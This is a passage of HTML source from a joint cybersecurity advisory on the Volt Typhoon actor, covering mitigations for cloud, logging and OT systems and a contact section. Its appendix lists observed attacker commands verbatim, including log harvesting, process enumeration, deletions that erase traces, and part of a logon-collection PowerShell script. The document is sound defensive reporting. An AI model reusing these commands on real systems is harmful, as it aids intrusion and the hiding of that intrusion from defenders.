  3592. &lt;li&gt;&lt;strong&gt;Implement network segmentation to isolate federation servers&lt;/strong&gt; from other systems and limit allowed traffic to systems and protocols that require access in accordance with Zero Trust principles.&lt;/li&gt;
  3593. &lt;/ul&gt;
  3594. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Secure Cloud Assets&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3595. &lt;ul&gt;
  3596. &lt;li&gt;&lt;strong&gt;Harden cloud assets&lt;/strong&gt; in accordance with vendor-provided or industry standard hardening guidance.
  3597. &lt;ul&gt;
  3598. &lt;li&gt;Organizations with Microsoft cloud infrastructure, see CISA’s &lt;a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project#:~:text=Microsoft%20365%20%26%20Google%20Workspace%20Baselines" title="Microsoft 365 &amp;amp; Google Workspace Secure Configuration Baselines"&gt;Microsoft 365 Security Configuration Baseline Guides&lt;/a&gt;, which provide minimum viable secure configuration baselines for Microsoft Defender for Office 365, Azure Active Directory (now known as Microsoft Entra ID), Exchange Online, OneDrive for Business, Power BI, Power Platform, SharePoint Online, and Teams. For additional guidance, see the Australian Signals Directorate’s &lt;a href="https://blueprint.asd.gov.au/" title="ASD's Blueprint for Secure Cloud"&gt;Blueprint for Secure Cloud&lt;/a&gt;.&lt;/li&gt;
  3599. &lt;li&gt;Organizations with Google cloud infrastructure, see CISA’s &lt;a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project#:~:text=Microsoft%20365%20%26%20Google%20Workspace%20Baselines" title="Microsoft 365 &amp;amp; Google Workspace Secure Configuration Baselines"&gt;Google Workspace Security Configuration Baseline Guides&lt;/a&gt;, which provide minimum viable secure configuration baselines for Groups for Business, GMAIL, Google Calendar, Google Chat, Google Common Controls, Google Classroom, Google Drive and Docs, Google Meet, and Google Sites.&lt;/li&gt;
  3600. &lt;/ul&gt;
  3601. &lt;/li&gt;
  3602. &lt;li&gt;&lt;strong&gt;Revoke unnecessary public access to cloud environment.&lt;/strong&gt; This involves reviewing and restricting public endpoints and ensuring that services like storage accounts, databases, and virtual machines are not publicly accessible unless absolutely necessary. Disable legacy authentication protocols across all cloud services and platforms. Legacy protocols frequently lack support for advanced security mechanisms such as multifactor authentication, rendering them susceptible to compromises. Instead, enforce the use of modern authentication protocols that support stronger security features like MFA, token-based authentication, and adaptive authentication measures.
  3603. &lt;ul&gt;
  3604. &lt;li&gt;&lt;strong&gt;Enforce this practice through the use of Conditional Access Policies&lt;/strong&gt;. These policies can initially be run in report-only mode to identify potential impacts and plan mitigations before fully enforcing them. This approach allows organizations to systematically control access to their cloud resources, significantly reducing the risk of unauthorized access and potential compromise.&lt;/li&gt;
  3605. &lt;/ul&gt;
  3606. &lt;/li&gt;
  3607. &lt;li&gt;&lt;strong&gt;Regularly monitor and audit privileged cloud-based accounts&lt;/strong&gt;, including service accounts, which are frequently abused to enable broad cloud resource access and persistence.&lt;/li&gt;
  3608. &lt;/ul&gt;
  3609. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Be Prepared&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3610. &lt;ul&gt;
  3611. &lt;li&gt;&lt;strong&gt;Ensure logging is turned on for application, access, and security logs &lt;/strong&gt;(e.g., intrusion detection systems/intrusion prevention systems, firewall, data loss prevention, and VPNs) [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#LogCollection2T" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2T&lt;/a&gt;]. Given Volt Typhoon’s use of LOTL techniques and their significant dwell time, application event logs may be a valuable resource to hunt for Volt Typhoon activity because these logs typically remain on endpoints for relatively long periods of time.
  3612. &lt;ul&gt;
  3613. &lt;li&gt;For OT assets where logs are non-standard or not available, &lt;strong&gt;collect network traffic and communications between those assets and other assets&lt;/strong&gt;.&lt;/li&gt;
  3614. &lt;li&gt;Implement file integrity monitoring (FIM) tools to detect unauthorized changes.&lt;/li&gt;
  3615. &lt;/ul&gt;
  3616. &lt;/li&gt;
  3617. &lt;li&gt;&lt;strong&gt;Store logs in a central system&lt;/strong&gt;, such as a security information and event management (SIEM) tool or central database.
  3618. &lt;ul&gt;
  3619. &lt;li&gt;&lt;strong&gt;Ensure the logs can only be accessed or modified by authorized and authenticated users &lt;/strong&gt;[&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SecureLogStorage2U" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2U&lt;/a&gt;].&lt;/li&gt;
  3620. &lt;li&gt;&lt;strong&gt;Store logs for a period informed by risk or pertinent regulatory guidelines&lt;/strong&gt;.&lt;/li&gt;
  3621. &lt;li&gt;&lt;strong&gt;Tune log alerting to reduce noise while ensuring there are alerts for high-risk activities&lt;/strong&gt;. (For information on alert tuning, see joint guide &lt;a href="https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-techniques" title="Identifying and Mitigating Living off the Land Techniques"&gt;Identifying and Mitigating Living Off the Land Techniques&lt;/a&gt;.)&lt;/li&gt;
  3622. &lt;/ul&gt;
  3623. &lt;/li&gt;
  3624. &lt;li&gt;&lt;strong&gt;Establish and continuously maintain a baseline of installed tools and software, account behavior, and network traffic&lt;/strong&gt;. This way, network defenders can identify potential outliers, which may indicate malicious activity. &lt;strong&gt;Note:&lt;/strong&gt; For information on establishing a baseline, see joint guide &lt;a href="https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-techniques" title="Identifying and Mitigating Living off the Land Techniques"&gt;Identifying and Mitigating Living off the Land Techniques&lt;/a&gt;.&lt;/li&gt;
  3625. &lt;li&gt;&lt;strong&gt;Document a list of threats and cyber actor TTPs relevant to your organization&lt;/strong&gt; (e.g., based on industry or sectors), and maintain the ability (such as via rules, alerting, or commercial prevention and detection systems) to detect instances of those key threats [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#DetectingRelevantThreatsandTTPs3A" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 3A&lt;/a&gt;].&lt;/li&gt;
  3626. &lt;li&gt;&lt;strong&gt;Implement periodic training for all employees and contractors that covers basic security concepts&lt;/strong&gt; (such as phishing, business email compromise, basic operational security, password security, etc.), as well as fostering an internal culture of security and cyber awareness [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#BasicCybersecurityTraining2I" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2I&lt;/a&gt;].
  3627. &lt;ul&gt;
  3628. &lt;li&gt;&lt;strong&gt;Tailor the training to network IT personnel/administrators and other key staff based on relevant organizational cyber threats and TTPs&lt;/strong&gt;, such as Volt Typhoon. For example, communicate that Volt Typhoon actors are known to target personal email accounts of IT staff, and encourage staff to protect their personal email accounts by using strong passwords and implementing MFA.&lt;/li&gt;
  3629. &lt;li&gt;In addition to basic cybersecurity training, &lt;strong&gt;ensure personnel who maintain or secure OT as part of their regular duties receive OT-specific cybersecurity training&lt;/strong&gt; on at least an annual basis [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#OTCybersecurityTraining2J" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2J&lt;/a&gt;].&lt;/li&gt;
  3630. &lt;li&gt;&lt;strong&gt;Educate users about the risks associated with storing unprotected passwords&lt;/strong&gt;.&lt;/li&gt;
  3631. &lt;/ul&gt;
  3632. &lt;/li&gt;
  3633. &lt;/ul&gt;
  3634. &lt;h4&gt;&lt;strong&gt;OT Administrators and Defenders&lt;/strong&gt;&lt;/h4&gt;
  3635. &lt;ul&gt;
  3636. &lt;li&gt;&lt;strong&gt;Change default passwords &lt;/strong&gt;[&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#ChangingDefaultPasswords2A" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2A&lt;/a&gt;] and ensure they meet the policy requirements for complexity. If the asset’s password cannot be changed, implement compensating controls for the device; for example, segment the device into separate enclaves and implement increased monitoring and logging.&lt;/li&gt;
  3637. &lt;li&gt;&lt;strong&gt;Require that passwords for all OT password-protected assets be at least 15 characters&lt;/strong&gt;, when technically feasible. In instances where minimum passwords lengths are not technically feasible (for example, assets in remote locations), apply compensating controls, record the controls, and log all login attempts. [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#MinimumPasswordStrength2B" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2B&lt;/a&gt;].&lt;/li&gt;
  3638. &lt;li&gt;&lt;strong&gt;Enforce strict access policies for accessing OT networks&lt;/strong&gt;. Develop strict operating procedures for OT operators that details secure configuration and usage.&lt;/li&gt;
  3639. &lt;li&gt;&lt;strong&gt;Segment OT assets from IT environments&lt;/strong&gt; by [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#NetworkSegmentation2F" title="Cybersecurity Performance Goals (CPGs)"&gt;CPG 2F&lt;/a&gt;]:
  3640. &lt;ul&gt;
  3641. &lt;li&gt;&lt;strong&gt;Denying all connections to the OT network by default &lt;/strong&gt;unless explicitly allowed (e.g., by IP address and port) for specific system functionality.&lt;/li&gt;
  3642. &lt;li&gt;&lt;strong&gt;Requiring necessary communications paths between IT and OT networks to pass through an intermediary&lt;/strong&gt;, such as a properly configured firewall, bastion host, “jump box,” or a demilitarized zone (DMZ), which is closely monitored, captures network logs, and only allows connections from approved assets.&lt;/li&gt;
  3643. &lt;/ul&gt;
  3644. &lt;/li&gt;
  3645. &lt;li&gt;&lt;strong&gt;Closely monitor all connections into OT networks for misuse, anomalous activity, or OT protocols&lt;/strong&gt;.&lt;/li&gt;
  3646. &lt;li&gt;&lt;strong&gt;Monitor for unauthorized controller change attempts&lt;/strong&gt;. Implement integrity checks of controller process logic against a known good baseline. Ensure process controllers are prevented from remaining in remote program mode while in operation if possible.&lt;/li&gt;
  3647. &lt;li&gt;&lt;strong&gt;Lock or limit set points in control processes to reduce the consequences of unauthorized controller access&lt;/strong&gt;.&lt;/li&gt;
  3648. &lt;li&gt;&lt;strong&gt;Be prepared &lt;/strong&gt;by:
  3649. &lt;ul&gt;
  3650. &lt;li&gt;&lt;strong&gt;Determining your critical operational processes’ reliance on key IT infrastructure&lt;/strong&gt;:
  3651. &lt;ul&gt;
  3652. &lt;li&gt;Maintain and regularly update an inventory of all organizational OT assets.&lt;/li&gt;
  3653. &lt;li&gt;Understand and evaluate cyber risk on “as-operated” OT assets.&lt;/li&gt;
  3654. &lt;li&gt;Create an accurate “as-operated” OT network map and identify OT and IT network inter-dependencies.&lt;/li&gt;
  3655. &lt;/ul&gt;
  3656. &lt;/li&gt;
  3657. &lt;li&gt;&lt;strong&gt;Identifying a resilience plan that addresses how to operate if you lose access to or control of the IT and/or OT environment&lt;/strong&gt;.
  3658. &lt;ul&gt;
  3659. &lt;li&gt;Plan for how to continue operations if a control system is malfunctioning, inoperative, or actively acting contrary to the safe and reliable operation of the process.&lt;/li&gt;
  3660. &lt;li&gt;Develop workarounds or manual controls to ensure ICS networks can be isolated if the connection to a compromised IT environment creates risk to the safe and reliable operation of OT processes.&lt;/li&gt;
  3661. &lt;/ul&gt;
  3662. &lt;/li&gt;
  3663. &lt;li&gt;&lt;strong&gt;Create and regularly exercise an incident response plan&lt;/strong&gt;.
  3664. &lt;ul&gt;
  3665. &lt;li&gt;Regularly test manual controls so that critical functions can be kept running if OT networks need to be taken offline.&lt;/li&gt;
  3666. &lt;/ul&gt;
  3667. &lt;/li&gt;
  3668. &lt;li&gt;&lt;strong&gt;Implement regular data backup procedures&lt;/strong&gt; on OT networks.
  3669. &lt;ul&gt;
  3670. &lt;li&gt;Regularly test backup procedures.&lt;/li&gt;
  3671. &lt;/ul&gt;
  3672. &lt;/li&gt;
  3673. &lt;/ul&gt;
  3674. &lt;/li&gt;
  3675. &lt;li&gt;&lt;strong&gt;Follow risk-informed guidance&lt;/strong&gt; in the joint advisory &lt;a href="https://media.defense.gov/2020/Jul/23/2002462846/-1/-1/0/OT_ADVISORY-DUAL-OFFICIAL-20200722.PDF" title="NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems"&gt;NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems&lt;/a&gt;, the NSA advisory &lt;a href="https://media.defense.gov/2021/Apr/29/2002630479/-1/-1/0/CSA_STOP-MCA-AGAINST-OT_UOO13672321.PDF" title="Stop Malicious Cyber Activity Against Connected Operational Technology"&gt;Stop Malicious Cyber Activity Against Connected Operational Technology&lt;/a&gt;.&lt;/li&gt;
  3676. &lt;/ul&gt;
  3677. &lt;h3&gt;&lt;strong&gt;CONTACT INFORMATION&lt;/strong&gt;&lt;/h3&gt;
  3678. &lt;p&gt;&lt;strong&gt;US organizations:&lt;/strong&gt; To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact:&lt;/p&gt;
  3679. &lt;ul&gt;
  3680. &lt;li&gt;CISA’s 24/7 Operations Center at &lt;a href="mailto:report@cisa.gov" title="Report to CISA"&gt;Report@cisa.gov&lt;/a&gt; or 1-844-Say-CISA (1-844-729-2472) or your&lt;a href="https://www.fbi.gov/contact-us/field-offices" title="Field Offices"&gt; local FBI field office&lt;/a&gt;. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.&lt;/li&gt;
  3681. &lt;li&gt;For NSA client requirements or general cybersecurity inquiries, contact &lt;a href="mailto:Cybersecurity_Requests@nsa.gov" title="Cybersecurity Requests"&gt;Cybersecurity_Requests@nsa.gov&lt;/a&gt;.&lt;/li&gt;
  3682. &lt;li&gt;Water and Wastewater Systems Sector organizations, contact the EPA Water Infrastructure and Cyber Resilience Division at &lt;a href="mailto:watercyberta@epa.gov" title="Report to the Environmental Protection Agency"&gt;watercyberta@epa.gov&lt;/a&gt; to voluntarily provide situational awareness.&lt;/li&gt;
  3683. &lt;li&gt;Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact &lt;a href="mailto:EnergySRMA@hq.doe.gov" title="Report to the Department of Energy"&gt;EnergySRMA@hq.doe.gov&lt;/a&gt;.&lt;/li&gt;
  3684. &lt;li&gt;For transportation entities regulated by TSA, report to CISA Central in accordance with the requirements found in applicable Security Directives, Security Programs, or TSA Order.&lt;/li&gt;
  3685. &lt;/ul&gt;
  3686. &lt;p&gt;&lt;strong&gt;Australian organizations:&lt;/strong&gt; Visit &lt;a href="https://www.cyber.gov.au/" title="Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)"&gt;cyber.gov.au&lt;/a&gt; or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.&lt;/p&gt;
  3687. &lt;p&gt;&lt;strong&gt;Canadian organizations:&lt;/strong&gt; Report incidents by emailing CCCS at &lt;a href="mailto:contact@cyber.gc.ca" title="Report to the Canadian Centre for Cyber Security"&gt;contact@cyber.gc.ca&lt;/a&gt;.&lt;/p&gt;
  3688. &lt;p&gt;&lt;strong&gt;New Zealand organizations:&lt;/strong&gt; Report cyber security incidents to &lt;a href="mailto:incidents@ncsc.govt.nz" title="Report to New Zealand's National Cyber Security Centre"&gt;incidents@ncsc.govt.nz&lt;/a&gt; or call 04 498 7654.&lt;/p&gt;
  3689. &lt;p&gt;&lt;strong&gt;United Kingdom organizations&lt;/strong&gt;: Report a significant cyber security incident: &lt;a href="https://www.ncsc.gov.uk/section/about-this-website/contact-us" title="Report to the United Kingdom's National Cyber Security Centre"&gt;ncsc.gov.uk/report-an-incident&lt;/a&gt; (monitored 24 hours) or, for urgent assistance, call 03000 200 973.&lt;/p&gt;
  3690. &lt;h3&gt;&lt;strong&gt;VALIDATE SECURITY CONTROLS&lt;/strong&gt;&lt;/h3&gt;
  3691. &lt;p&gt;In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;amp;CK techniques described in this advisory.&lt;/p&gt;
  3692. &lt;p&gt;To get started:&lt;/p&gt;
  3693. &lt;ol&gt;
  3694. &lt;li&gt;Select an ATT&amp;amp;CK technique described in this advisory (see Table 5 through Table 17).&lt;/li&gt;
  3695. &lt;li&gt;Align your security technologies against the technique.&lt;/li&gt;
  3696. &lt;li&gt;Test your technologies against the technique.&lt;/li&gt;
  3697. &lt;li&gt;Analyze your detection and prevention technologies’ performance.&lt;/li&gt;
  3698. &lt;li&gt;Repeat the process for all security technologies to obtain a set of comprehensive performance data.&lt;/li&gt;
  3699. &lt;li&gt;Tune your security program, including people, processes, and technologies, based on the data generated by this process.&lt;/li&gt;
  3700. &lt;/ol&gt;
  3701. &lt;p&gt;The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;amp;CK techniques identified in this advisory.&lt;/p&gt;
  3702. &lt;h3&gt;&lt;strong&gt;REFERENCES&lt;/strong&gt;&lt;/h3&gt;
  3703. &lt;p&gt;[1] &lt;a href="https://fofa.info/" title="FOFA Search Engine"&gt;fofa&lt;/a&gt;&lt;br&gt;[2] &lt;a href="https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/" title="Volt Typhoon targets US critical infrastructure with living-off-the-land techniques"&gt;Microsoft: Volt Typhoon targets US critical infrastructure with living-off-the-land techniques&lt;/a&gt;&lt;br&gt;[3] &lt;a href="https://github.com/fatedier/frp" title="fatedier / frp"&gt;GitHub - fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet&lt;/a&gt;&lt;br&gt;[4] &lt;a href="https://github.com/sandialabs/gait" title="sandialabs / gait"&gt;GitHub - sandialabs/gait: Zeek Extension to Collect Metadata for Profiling of Endpoints and Proxies&lt;/a&gt;&lt;br&gt;[5] &lt;a href="https://zeek.org/" title="Open Source Network Security Monitoring Tool"&gt;The Zeek Network Security Monitor&lt;/a&gt;&lt;/p&gt;
  3704. &lt;h3&gt;&lt;strong&gt;RESOURCES&lt;/strong&gt;&lt;/h3&gt;
  3705. &lt;p&gt;Microsoft: &lt;a href="https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/" title="Volt Typhoon targets US critical infrastructure with living-off-the-land techniques"&gt;Volt Typhoon targets US critical infrastructure with living-off-the-land techniques&lt;/a&gt;&lt;br&gt;Secureworks: &lt;a href="https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"&gt;Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations&lt;/a&gt;&lt;/p&gt;
  3706. &lt;h3&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/h3&gt;
  3707. &lt;p&gt;The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring agencies.&lt;/p&gt;
  3708. &lt;h3&gt;&lt;strong&gt;ACKNOWLEDGEMENTS&lt;/strong&gt;&lt;/h3&gt;
  3709. &lt;p&gt;Fortinet and Microsoft contributed to this advisory.&lt;/p&gt;
  3710. &lt;h3&gt;&lt;strong&gt;VERSION HISTORY&lt;/strong&gt;&lt;/h3&gt;
  3711. &lt;p&gt;&lt;strong&gt;February 7, 2024:&lt;/strong&gt; Initial Version.&lt;br&gt;&lt;strong&gt;March 7, 2024:&lt;/strong&gt; Updated Mitigations section to add recommendation on “end of life” technology.&lt;/p&gt;
  3712. &lt;h3&gt;&lt;strong&gt;APPENDIX A: VOLT TYPHOON OBSERVED COMMANDS / LOTL ACTIVITY&lt;/strong&gt;&lt;/h3&gt;
  3713. &lt;p&gt;See Table 2 and Table 3 for Volt Typhoon commands and PowerShell scripts observed by the U.S. authoring agencies during incident response activities. For additional commands used by Volt Typhoon, see joint advisory &lt;a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a" title="People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection"&gt;People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection&lt;/a&gt;.&lt;/p&gt;
  3714. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  3715. &lt;caption&gt;&lt;em&gt;Table 2: Volt Typhoon Observed Commands in PowerShell Console History&lt;/em&gt;&lt;/caption&gt;
  3716. &lt;thead&gt;
  3717. &lt;tr&gt;
  3718. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Command/Script&lt;/strong&gt;&lt;/th&gt;
  3719. &lt;th role="columnheader"&gt;&lt;strong&gt;Description/Use&lt;/strong&gt;&lt;/th&gt;
  3720. &lt;/tr&gt;
  3721. &lt;/thead&gt;
  3722. &lt;tbody&gt;
  3723. &lt;tr&gt;
  3724. &lt;td&gt;Get-EventLog security -instanceid 4624 -after {redacted date} | fl * | Out-File 'C:\users\public\documents\user.dat' &amp;nbsp;&lt;/td&gt;
  3725. &lt;td&gt;PowerShell command extracts security log entries with the Event ID &lt;code&gt;4624&lt;/code&gt; after a specified date. The output is formatted (&lt;code&gt;fl *&lt;/code&gt;) and saved to &lt;code&gt;user.dat&lt;/code&gt;. Potentially used to analyze logon patterns and identify potential targets for lateral movement.&lt;/td&gt;
  3726. &lt;/tr&gt;
  3727. &lt;tr&gt;
  3728. &lt;td&gt;Get-EventLog security -instanceid 4624 | Where-Object {$_.message.contains('{redacted user account}')} | select -First 1 | fl * &amp;nbsp;&lt;/td&gt;
  3729. &lt;td&gt;PowerShell command extracts security log entries with the Event ID &lt;code&gt;4624&lt;/code&gt; and filters them to include only those containing a specific user account, selecting the first instance of such an event.&lt;/td&gt;
  3730. &lt;/tr&gt;
  3731. &lt;tr&gt;
  3732. &lt;td&gt;wminc process get name,processid&lt;/td&gt;
  3733. &lt;td&gt;Appears to be an attempt to use the wmic command but with a misspelling (&lt;code&gt;wminc&lt;/code&gt; instead of &lt;code&gt;wmic&lt;/code&gt;). This command, as it stands, would not execute successfully and would return an error in a typical Windows environment. This could indicate a mistake made during manual input.&lt;/td&gt;
  3734. &lt;/tr&gt;
  3735. &lt;tr&gt;
  3736. &lt;td&gt;wmic process get name,processid &amp;nbsp;&lt;/td&gt;
  3737. &lt;td&gt;WMI command lists all running processes with process names and process IDs. Potentially used to find process IDs needed for other operations, like memory dumping.&lt;/td&gt;
  3738. &lt;/tr&gt;
  3739. &lt;tr&gt;
  3740. &lt;td&gt;tasklist /v &amp;nbsp;&lt;/td&gt;
  3741. &lt;td&gt;Command displays detailed information about currently running processes, including the name, PID, session number, and memory usage.&lt;/td&gt;
  3742. &lt;/tr&gt;
  3743. &lt;tr&gt;
  3744. &lt;td&gt;taskkill /f /im rdpservice.exe&lt;/td&gt;
  3745. &lt;td&gt;Command forcibly terminates the process &lt;code&gt;rdpservice.exe&lt;/code&gt;. Potentially used as a cleanup activity post-exploitation.&lt;/td&gt;
  3746. &lt;/tr&gt;
  3747. &lt;tr&gt;
  3748. &lt;td&gt;ping -n 1 {redacted IP address}&lt;/td&gt;
  3749. &lt;td&gt;Command sends one ICMP echo request to a specified IP address.&lt;/td&gt;
  3750. &lt;/tr&gt;
  3751. &lt;tr&gt;
  3752. &lt;td&gt;ping -n 1 -w 1 {redacted IP address}&lt;/td&gt;
  3753. &lt;td&gt;Command sends one ICMP echo request to a specified IP address with a timeout (&lt;code&gt;-w&lt;/code&gt;) of 1 millisecond.&lt;/td&gt;
  3754. &lt;/tr&gt;
  3755. &lt;tr&gt;
  3756. &lt;td&gt;net user&lt;/td&gt;
  3757. &lt;td&gt;Lists all user accounts on the local machine or domain, useful for quickly viewing existing user accounts.&lt;/td&gt;
  3758. &lt;/tr&gt;
  3759. &lt;tr&gt;
  3760. &lt;td&gt;
  3761. &lt;p&gt;quser&lt;/p&gt;
  3762. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  3763. &lt;p&gt;query user&lt;/p&gt;
  3764. &lt;/td&gt;
  3765. &lt;td&gt;Displays information about user sessions on a system, aiding in identifying active users or sessions.&lt;/td&gt;
  3766. &lt;/tr&gt;
  3767. &lt;tr&gt;
  3768. &lt;td&gt;net start&lt;/td&gt;
  3769. &lt;td&gt;Lists all active services.&lt;/td&gt;
  3770. &lt;/tr&gt;
  3771. &lt;tr&gt;
  3772. &lt;td&gt;cmd&lt;/td&gt;
  3773. &lt;td&gt;Opens a new instance of the command prompt.&lt;/td&gt;
  3774. &lt;/tr&gt;
  3775. &lt;tr&gt;
  3776. &lt;td&gt;cd [Redacted Path]&lt;/td&gt;
  3777. &lt;td&gt;Changes the current directory to a specified path, typically for navigating file systems.&lt;/td&gt;
  3778. &lt;/tr&gt;
  3779. &lt;tr&gt;
  3780. &lt;td&gt;Remove-Item .\Thumbs.db&lt;/td&gt;
  3781. &lt;td&gt;PowerShell command to delete the &lt;code&gt;Thumbs.db&lt;/code&gt; file, possibly for cleanup or removing traces.&lt;/td&gt;
  3782. &lt;/tr&gt;
  3783. &lt;tr&gt;
  3784. &lt;td&gt;move .\Thumbs.db ttt.dat&lt;/td&gt;
  3785. &lt;td&gt;Relocates and renames the file &lt;code&gt;Thumbs.db&lt;/code&gt; in the current directory to &lt;code&gt;ttt.dat&lt;/code&gt; within the same directory.&lt;/td&gt;
  3786. &lt;/tr&gt;
  3787. &lt;tr&gt;
  3788. &lt;td&gt;del .\Thumbs.db /f /s /q&lt;/td&gt;
  3789. &lt;td&gt;Force deletes &lt;code&gt;Thumbs.db&lt;/code&gt; files from the current directory and all subdirectories, part of cleanup operations to erase traces.&lt;/td&gt;
  3790. &lt;/tr&gt;
  3791. &lt;tr&gt;
  3792. &lt;td&gt;del ??&lt;/td&gt;
  3793. &lt;td&gt;Deletes files with two-character names, potentially a targeted cleanup command.&lt;/td&gt;
  3794. &lt;/tr&gt;
  3795. &lt;tr&gt;
  3796. &lt;td&gt;del /?&lt;/td&gt;
  3797. &lt;td&gt;Displays help information for the &lt;code&gt;del&lt;/code&gt; command.&lt;/td&gt;
  3798. &lt;/tr&gt;
  3799. &lt;tr&gt;
  3800. &lt;td&gt;exit&lt;/td&gt;
  3801. &lt;td&gt;Terminates the command prompt session.&lt;/td&gt;
  3802. &lt;/tr&gt;
  3803. &lt;tr&gt;
  3804. &lt;td&gt;ipconfig&lt;/td&gt;
  3805. &lt;td&gt;Retrieves network configuration details, helpful for discovery and mapping the victim's network.&lt;/td&gt;
  3806. &lt;/tr&gt;
  3807. &lt;tr&gt;
  3808. &lt;td&gt;net time /dom&lt;/td&gt;
  3809. &lt;td&gt;Queries or sets the network time for a domain, potentially used for reconnaissance or to manipulate system time.&lt;/td&gt;
  3810. &lt;/tr&gt;
  3811. &lt;tr&gt;
  3812. &lt;td&gt;netstta -ano&lt;/td&gt;
  3813. &lt;td&gt;Intended as &lt;code&gt;netstat -ano&lt;/code&gt;; a mistyped command indicating a potential operational error.&lt;/td&gt;
  3814. &lt;/tr&gt;
  3815. &lt;tr&gt;
  3816. &lt;td&gt;netstat -ano&lt;/td&gt;
  3817. &lt;td&gt;Lists active network connections and processes, helpful for identifying communication channels and potential targets.&lt;/td&gt;
  3818. &lt;/tr&gt;
  3819. &lt;tr&gt;
  3820. &lt;td&gt;type .\Notes.txt&lt;/td&gt;
  3821. &lt;td&gt;Displays the contents of &lt;code&gt;Notes.txt&lt;/code&gt;, possibly used for extracting specific information or intelligence gathering.&lt;/td&gt;
  3822. &lt;/tr&gt;
  3823. &lt;tr&gt;
  3824. &lt;td&gt;logoff&lt;/td&gt;
  3825. &lt;td&gt;Logs off the current user session.&lt;/td&gt;
  3826. &lt;/tr&gt;
  3827. &lt;/tbody&gt;
  3828. &lt;/table&gt;
  3829. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  3830. &lt;caption&gt;&lt;em&gt;Table 3: Volt Typhoon Observed PowerShell Scripts&lt;/em&gt;&lt;/caption&gt;
  3831. &lt;thead&gt;
  3832. &lt;tr&gt;
  3833. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Script name and location&lt;/strong&gt;&lt;/th&gt;
  3834. &lt;th role="columnheader"&gt;&lt;strong&gt;Contents&lt;/strong&gt;&lt;/th&gt;
  3835. &lt;th role="columnheader"&gt;&lt;strong&gt;Description/Use&lt;/strong&gt;&lt;/th&gt;
  3836. &lt;/tr&gt;
  3837. &lt;/thead&gt;
  3838. &lt;tbody&gt;
  3839. &lt;tr&gt;
  3840. &lt;td&gt;C:\{redacted}\&lt;br&gt;logins.ps1&lt;/td&gt;
  3841. &lt;td&gt;
  3842. &lt;p&gt;# Find DC list from Active Directory&lt;/p&gt;
  3843. &lt;p&gt;$DCs = Get-ADDomainController -Filter *&lt;/p&gt;
  3844. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  3845. &lt;p&gt;# Define time for report (default is 1 day)&lt;/p&gt;
  3846. &lt;p&gt;$startDate = (get-date).AddDays(-1)&lt;/p&gt;
  3847. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
  3848. &lt;p&gt;# Store successful logon events from security logs with the specified dates and workstation/IP in an array&lt;/p&gt;
  3849. &lt;p&gt;foreach ($DC in $DCs){&lt;/p&gt;
  3850. &lt;p&gt;$slogonevents = Get-Eventlog -LogName Security -ComputerName $DC.Hostname -after $startDate | where {$_.eventID -eq 4624 }}&lt;/p&gt;
  3851. &lt;p&gt;&amp;nbsp;&lt;/p&gt;
